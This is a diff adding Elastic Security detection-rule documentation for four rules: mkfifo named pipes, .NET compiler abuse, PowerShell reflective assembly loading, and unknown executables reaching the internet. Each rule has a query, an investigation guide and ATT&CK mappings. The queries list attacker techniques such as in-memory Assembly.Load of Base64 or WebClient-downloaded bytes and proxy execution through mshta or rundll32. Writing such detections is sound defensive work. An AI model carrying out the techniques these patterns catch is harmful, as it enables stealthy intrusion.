/dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-named-pipe-creation.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-34-suspicious-named-pipe-creation]] +=== Suspicious Named Pipe Creation + +This rule detects the creation of unusually labeled named pipes (FIFOs) by the mkfifo command, which is often used by attackers to establish persistence on a target system or to execute commands in the background. Through the new_terms rule type, this rule can identify uncommon process command lines that may indicate the presence of a malicious named pipe. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Named Pipe Creation* + + +Named pipes, or FIFOs, are a form of inter-process communication in Linux environments, allowing data transfer between processes. Adversaries exploit this by creating named pipes in common directories like /tmp to stealthily execute commands or maintain persistence. The detection rule identifies unusual named pipe creation by monitoring the `mkfifo` command, especially when initiated by common shell processes, to flag potential malicious activity. + + +*Possible investigation steps* + + +- Review the process command line arguments to identify the exact named pipe path and any associated commands or scripts that might have been executed using the named pipe. +- Investigate the parent process (bash, csh, dash, fish, ksh, sh, tcsh, or zsh) to determine the origin of the mkfifo command, checking for any unusual or unexpected scripts or commands that might have initiated it. +- Examine the user account associated with the mkfifo process to determine if it is a legitimate user or if the account might have been compromised. +- Check for any other suspicious activities or processes running under the same user account or originating from the same parent process to identify potential lateral movement or further malicious actions. +- Analyze the system logs around the time of the named pipe creation for any other indicators of compromise, such as unauthorized access attempts or unusual network connections. +- If possible, capture and review the contents of the named pipe to understand the data being transferred and assess whether it is part of a malicious operation. + + +*False positive analysis* + + +- Named pipes created by legitimate applications for inter-process communication can trigger this rule. Users should identify and whitelist these applications by adding exceptions for specific process command lines that are known to be safe. +- System maintenance scripts or backup processes that use named pipes in directories like /tmp or /var/tmp may cause false positives. Review these scripts and exclude them from the rule if they are verified as non-malicious. +- Development environments or testing frameworks that frequently create and delete named pipes during their operations might be flagged. Users can mitigate this by excluding these environments from monitoring or by specifying exceptions for known development tools. +- Automated deployment tools that use named pipes for configuration management or orchestration tasks can also be a source of false positives. Ensure these tools are recognized and excluded from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity or lateral movement. +- Terminate any suspicious processes associated with the mkfifo command, especially those originating from common shell processes like bash or sh. +- Delete any named pipes created in directories such as /tmp, /dev/shm, or /var/tmp that do not follow expected naming conventions or are not part of legitimate applications. +- Conduct a thorough review of user accounts and permissions on the affected system to identify any unauthorized access or privilege escalation. +- Restore the system from a known good backup if any unauthorized changes or persistence mechanisms are detected. +- Implement additional monitoring on the affected system and network to detect any further attempts to create suspicious named pipes or execute unauthorized commands. +- Escalate the incident to the security operations team for further investigation and to determine if the threat is part of a larger attack campaign. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:(exec or ProcessRollup2 or start) and process.name:mkfifo and +process.parent.name:(bash or csh or dash or fish or ksh or sh or tcsh or zsh) and +process.args:((/dev/shm/* or /tmp/* or /var/tmp/*) and not (/*fifo* or /var/tmp/dracut* or /var/tmp/portage/* or /tmp/opencode_install*.trace)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-net-code-compilation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-net-code-compilation.asciidoc new file mode 100644 index 0000000000..52913b7cde --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-net-code-compilation.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-suspicious-net-code-compilation]] +=== Suspicious .NET Code Compilation + +Identifies executions of .NET compilers with suspicious parent processes, which can indicate an attacker's attempt to compile code after delivery in order to bypass security mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious .NET Code Compilation* + + +.NET compilers like `csc.exe` and `vbc.exe` are integral to compiling C# and VB.NET code, respectively, in Windows environments. Adversaries exploit these compilers by executing them with unusual parent processes, such as scripting engines or system utilities, to compile malicious code stealthily. The detection rule identifies such anomalies by monitoring compiler executions initiated by suspicious parent processes, signaling potential evasion or execution tactics. + + +*Possible investigation steps* + + +- Review the process tree to understand the relationship between the suspicious parent process (e.g., wscript.exe, mshta.exe) and the .NET compiler process (csc.exe or vbc.exe) to determine if the execution flow is typical or anomalous. +- Examine the command-line arguments used by the .NET compiler process to identify any potentially malicious code or scripts being compiled. +- Check the user account associated with the process execution to determine if it aligns with expected behavior or if it indicates potential compromise or misuse. +- Investigate the source and integrity of the parent process executable to ensure it has not been tampered with or replaced by a malicious version. +- Correlate the event with other security alerts or logs from the same host or user to identify any patterns or additional indicators of compromise. +- Analyze network activity from the host around the time of the alert to detect any suspicious outbound connections that may indicate data exfiltration or command-and-control communication. + + +*False positive analysis* + + +- Legitimate software development activities may trigger this rule if developers use scripting engines or system utilities to automate the compilation of .NET code. To manage this, identify and whitelist known development environments or scripts that frequently compile code using these methods. +- System administrators might use scripts or automation tools that invoke .NET compilers for maintenance tasks. Review and document these processes, then create exceptions for recognized administrative scripts to prevent unnecessary alerts. +- Some enterprise applications may use .NET compilers as part of their normal operation, especially if they dynamically generate or compile code. Investigate these applications and exclude their processes from the rule if they are verified as non-threatening. +- Security tools or monitoring solutions might simulate suspicious behavior for testing purposes, which could trigger this rule. Coordinate with your security team to identify such tools and exclude their activities from detection. +- In environments where custom scripts are frequently used for deployment or configuration, ensure these scripts are reviewed and, if safe, added to an exclusion list to reduce false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution or spread of potentially malicious code. +- Terminate any suspicious processes identified, such as `csc.exe` or `vbc.exe`, that are running with unusual parent processes. +- Conduct a thorough scan of the isolated system using updated antivirus and endpoint detection tools to identify and remove any malicious files or remnants. +- Review and analyze the execution logs to determine the source and scope of the threat, focusing on the parent processes like `wscript.exe` or `mshta.exe` that initiated the compiler execution. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated through cleaning. +- Implement application whitelisting to prevent unauthorized execution of compilers and scripting engines by non-standard parent processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("csc.exe", "vbc.exe") and + process.parent.name : ("wscript.exe", "mshta.exe", "cscript.exe", "wmic.exe", "svchost.exe", "rundll32.exe", "cmstp.exe", "regsvr32.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-net-reflection-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-net-reflection-via-powershell.asciidoc new file mode 100644 index 0000000000..f491137f48 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-net-reflection-via-powershell.asciidoc @@ -0,0 +1,215 @@ +[[prebuilt-rule-8-19-34-suspicious-net-reflection-via-powershell]] +=== Suspicious .NET Reflection via PowerShell + +Detects PowerShell scripts that invoke Reflection.Assembly or Assembly.Load to load .NET assemblies. Attackers use this method to load executables and DLLs without writing to the disk, bypassing security solutions. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: PowerShell Logs +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Script-Based Execution +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 323 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Suspicious .NET Reflection via PowerShell* + + +This alert indicates PowerShell script block content attempted to load a .NET assembly using reflection-based APIs (for example, `[System.Reflection.Assembly]::Load` or `Assembly.Load(...)`). While this can be used for legitimate extensibility, it is also commonly used to execute .NET payloads in memory and reduce file-based artifacts. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Triage the execution context: + - Identify the affected host and user using `host.name`, `host.id`, `user.name`, `user.domain`, and `user.id`. + - Prioritize alerts where the user is unexpected for the host role, or where the same user appears across multiple hosts in a short time window. +- Analyze the assembly load behavior in `powershell.file.script_block_text`: + - Identify what is being passed into the load call (assembly name vs. byte array or dynamically generated content). + - Check for indicators of staged content within the same script block, such as long encoded blobs, dynamic string construction, or multiple transformation steps (decoding, decompression, or concatenation) that produce the assembly bytes. + - Look for immediate follow-on actions suggesting the loaded assembly is executed (for example, accessing types/methods and invoking them after the load). +- Reconstruct the full script block when needed: + - If the content appears partial, group related events by `powershell.file.script_block_id` and order by `powershell.sequence` to `powershell.total` to rebuild the full script block before assessing intent. + - Use `powershell.file.script_block_length` as a signal for embedded content (large or unusually variable sizes can indicate payload staging). +- Determine script origin and persistence indicators: + - If `file.path`/`file.name` are present, assess whether the script is stored in an expected location for the user and host role, or in a user-writable / temporary directory indicated by `file.directory`. + - If `file.path` is present, retrieve and review the corresponding script file for additional context (embedded payloads, additional functions, or execution logic not visible in a single script block event). + - If `file.path` is not present, treat the activity as potentially interactive or remotely delivered and rely on `powershell.file.script_block_id` and time-based pivots to gather surrounding context. +- Scope related PowerShell activity on the same host and user: + - Pivot on `host.id` and `user.id` to identify additional script blocks around the alert time that may show setup, staging, or follow-on actions. + - Check for repeated `Assembly.Load` usage across multiple `powershell.file.script_block_id` values, which may indicate iterative execution attempts or multiple payload stages. +- Scope across the environment: + - Search for the same `file.path`/`file.name` and similar `powershell.file.script_block_text` patterns on other hosts to identify propagation or reuse. + - Identify whether the same `user.id` is associated with similar script blocks across multiple `host.id` values to assess potential lateral movement or shared automation. +- Correlate with adjacent telemetry (if available in your environment): + - Process telemetry: Determine how PowerShell was launched and by what parent process around the alert time to understand delivery (interactive use, scheduled execution, service context, or another process). + - Network telemetry: Review outbound activity near the alert time for signs of payload retrieval, staging infrastructure, or command-and-control. + - File/registry telemetry: Look for newly created or modified scripts, DLLs, or persistence-related changes temporally aligned with the script block execution. + - Authentication telemetry: Review logon patterns for the same user and host around the alert time to identify unusual access patterns that could explain the execution. +- If response actions are available: + - Collect host DNS cache and a snapshot of running/installed services to support scoping and to identify suspicious services or recent name resolution consistent with payload staging. + + +*False positive analysis* + + +- Legitimate scripts may load assemblies to support internal tooling, plugin models, packaged dependencies, or automation tasks that embed .NET functionality in PowerShell. +- Benign activity is more likely when: + - `file.path`/`file.name` map to a known, owned script with a stable operational purpose. + - The same `user.id` consistently runs the same script on the same `host.id` as part of normal operations. + - `powershell.file.script_block_text` is readable and clearly loads expected assemblies without embedded blobs or multi-step content staging. +- Suspicious activity is more likely when: + - The assembly is loaded from dynamically generated bytes (encoded or transformed content) and is followed by reflection-based invocation. + - The script originates from an unusual `file.directory` or the execution context (`user.name`/`host.name`) is inconsistent with expected administrative workflows. +- If confirmed benign, document the owning team, expected execution pattern, and the specific script identity (`file.path`/`file.name`) to enable narrowly scoped tuning. + + +*Response and remediation* + + +- If the activity is confirmed or strongly suspected to be malicious: + - Isolate the affected host to prevent further in-memory execution and follow-on activity. + - Preserve evidence from the alert: + - Export the full reconstructed script block content using `powershell.file.script_block_id` with `powershell.sequence`/`powershell.total`. + - Capture `host.id`, `host.name`, `user.id`, `user.name`, `user.domain`, and any associated `file.path`/`file.name` context. + - Identify and contain related activity: + - Hunt for additional related script blocks on the same host/user and across other hosts for similar `powershell.file.script_block_text` patterns. + - Contain any identified infrastructure or artifacts based on indicators found in the script content (for example, domains, IPs, or downloaded file names). + - Remediate: + - Remove persistence and stop any related malicious processes discovered during triage and correlation. + - Review the impacted account (`user.id`) for compromise and rotate credentials as appropriate, prioritizing privileged access. + - Validate the host is remediated and monitored for recurrence before returning it to service. +- If the activity is benign but requires reduction in alert volume: + - Record the approved use case and expected execution context (host role, user role, and script location). + - Apply targeted tuning anchored to stable identifiers (for example, specific `file.path` and expected accounts) rather than broadly suppressing assembly load behavior. + - Review PowerShell governance and monitoring to ensure in-memory loading is limited to approved workflows. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +( + powershell.file.script_block_text : ( + "[System.Reflection.Assembly]::Load" or + "[Reflection.Assembly]::Load" or + "Assembly.Load(" + ) and + powershell.file.script_block_text : ( + "FromBase64String" or "GzipStream" or "DeflateStream" or "IO.Compression" or + "MemoryStream" or "DownloadData" or "WebClient" or "ReadAllBytes" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Sub-technique: +** Name: Dynamic-link Library Injection +** ID: T1055.001 +** Reference URL: https://attack.mitre.org/techniques/T1055/001/ +* Sub-technique: +** Name: Portable Executable Injection +** ID: T1055.002 +** Reference URL: https://attack.mitre.org/techniques/T1055/002/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc new file mode 100644 index 0000000000..7cbad16874 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-network-activity-to-the-internet-by-previously-unknown-executable.asciidoc @@ -0,0 +1,274 @@ +[[prebuilt-rule-8-19-34-suspicious-network-activity-to-the-internet-by-previously-unknown-executable]] +=== Suspicious Network Activity to the Internet by Previously Unknown Executable + +This rule monitors for network connectivity to the internet from a previously unknown executable located in a suspicious directory. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to establish connections to unknown or suspicious destinations such as a command and control server. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. + +*Rule type*: new_terms + +*Rule indices*: + +* auditbeat-* +* filebeat-* +* packetbeat-* +* logs-endpoint.events.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-59m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux +* Data Source: Network Packet Capture +* Resources: Osquery + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Network Activity to the Internet by Previously Unknown Executable* + + +After being installed, malware will often call out to its command and control server to receive further instructions by its operators. + +This rule leverages the new terms rule type to detect previously unknown processes, initiating network connections to external IP-addresses. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Identify any signs of suspicious network activity or anomalies that may indicate malicious behavior. This could include unexpected traffic patterns or unusual network behavior. + - Investigate listening ports and open sockets to look for potential malicious processes, reverse shells or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} +- Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} +- Investigate other alerts associated with the user/host during the past 48 hours. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + + +*Related rules* + + +- Network Activity Detected via cat - afd04601-12fc-4149-9b78-9c3f8fe45d39 + + +*False positive analysis* + + +- If this activity is related to new benign software installation activity, consider adding exceptions — preferably with a combination of user and command line conditions. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors, such as reverse shells, reverse proxies, or droppers, that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat +- Filebeat +- Packetbeat + + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the 